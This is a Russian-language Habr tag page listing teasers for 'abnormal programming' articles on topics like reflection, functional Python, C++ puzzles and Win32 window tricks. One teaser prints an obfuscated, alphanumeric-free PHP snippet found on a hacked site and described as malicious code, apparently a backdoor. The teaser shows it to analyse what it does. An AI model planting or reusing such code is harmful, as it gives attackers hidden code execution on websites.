Метка «ненормальное программирование» - 2

При работе с отражением (Reflection) порядок отраженных полей не гарантируется. Обычно это не имеет значения, но иногда нужен порядок в точном соответствии порядку определенному в коде. Например, это бывает необходимо для частичной сериализации.
Для решения этой надуманной проблемы мы воспользуемся сервисами межъязыкового взаимодействия.

Читать полностью »

image
Карлос Олгуин (Carlos Olguin) — руководитель исследований в области био/нано/программируемого вещества в R&D подразделении Autodesk. Его группа в составе 18 специалистов изучает возможности проектирования, связанные с программированием вещества, в разных областях и в разных масштабах, сотрудничая с исследователями из ведущих научных учреждений и коммерческих компаний со всего мира. В преддверии приезда Карлоса на Autodesk University Russia мне удалось задать ему несколько вопросов о его работе
Читать полностью »

Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает ?:

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Читать полностью »

Ненормальное функциональное программирование на python
После просмотра курса Programming Languages и прочтения Functional JavaScript захотелось повторить все эти крутые штуки в python. Часть вещей получилось сделать красиво и легко, остальное вышло страшным и непригодным для использования.

Статья включает в себя:

  • немного непонятных слов;
  • каррирование;
  • pattern matching;
  • рекурсия (включая хвостовую).

Статья рассчитана на python 3.3+.Читать полностью »

На тему крутых возможностей питона на хабре был уже не один пост. Но мой личный опыт показал, что даже прошаренные в питоне люди не до конца понимают когда можно и когда нужно их использовать. Поэтому этот пост будет посвящён исключительно практической стороне вопроса.

Мы напишем маленький уютненький блог используя Flask и MongoDB. К слову, использовать мы будем экзотические для многих функциональные элементы языка, хотя не только их. Чего же тут ненормального? Практически весь код, за исключением маленького бутстрапа, будет храниться в БД.

Читать полностью »

Пришла мне однажды идея: есть стек вызовов и стек как структура данных. А нельзя ли использовать стек вызовов для хранения данных?
Немного поразмыслив я понял, что можно, только с ограничениями: во первых для обработки значений придётся использовать колбеки (ведь пока значение на стеке, нельзя выходить из того вызова, в котором мы его сохранили). Во вторых доступ строго LIFO.
Реализация — под катом.
Читать полностью »

Марафонские задачки по С++Приветствую всех!

В этом посте мы обсудим решение нескольких задачек, которые я подсмотрел из «Марафон задач по С++» (мне кажется ссылки легко найдутся поисковиком). Нет, к сайту я решительно никакого отношения не имею, однако узнал о нем с хабра: либо был у кого-то в профиле, либо была ссылка в комментариях. Итак, определимся с задачками, решения которых будут рассматриваться (задачек всего 9, но эти показались мне интересными):

  • Забыл, как умножать. Помогите!
    Умножить число на 7, не используя операцию умножения.
  • Два в одном.
    Какой-то умник поменял местами кнопки в лифте. Поставил вместо первого этажа второй, а вместо второго – первый. Честное слово, мне лень ковырять кнопки. Я лучше перепрограммирую лифт. Но программировать мне тоже лень. На вас вся надежда. Напишите, пожалуйста, функцию-переключатель, которая возвращает 1, если на входе 2 и 2, если на входе 1.

Читать полностью »

Одним из применений нейронных сетей является ассоциативная память. Классический пример – хранение классификации каких-либо объектов по входным данным. Но немного модифицировав алгоритм взаимодействия с сетью, можно в ней хранить длинные строковые или бинарные данные, получаемые по ключ-паролю, что также позволяет добиться также добиться высокой криптоустойчивости данных
Читать полностью »

Стремимся к «pixel perfect» + прячем окно от RDP!

imageЭто продолжение серии постов с префиксом «15000 FPS», начатло тут: часть 1 и часть 1.5. Можно и к этому окну добиться 15К FPS, но разумный подход тут не долбить FPS в цикле Render(), а перерисовывать лишь при необходимости, а большую часть остальной работы за нас винда сама сделает. Глядя на скриншот, первая мысль кодера — «ха, да мы все умеем делать нестандартные окна!».
Но дизайнер поопытнее заподозрит неладное: тень от окна какая-то не виндовая, и вообще тут градиенты и альфа-смешивание, не обошлось без честных 8 бит на альфа-канале. Как?
А нужен только Win32 API + System.Drawing.Bitmap, работать будет даже на Win2K с .Net 2.0 и это окно великолепно и быстро масштабируется и перемещается без глюков.
«Кастомное альфа-смешивание окна на десктоп и не тормозит? Вы шутите?».
Читать полностью »

Добрый день хабр. В статье я расскажу, как используя синтаксис php, можно написать функцию, для вывода переданной ей строковой переменной, не использующую в своем теле символы «a-zA-Z0-9<>?»

Вообще на хабре уже проскальзывали ссылки на статьи об использовании undefined variable, так что ничего нового я скорее всего не открою.
Читать полностью »


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js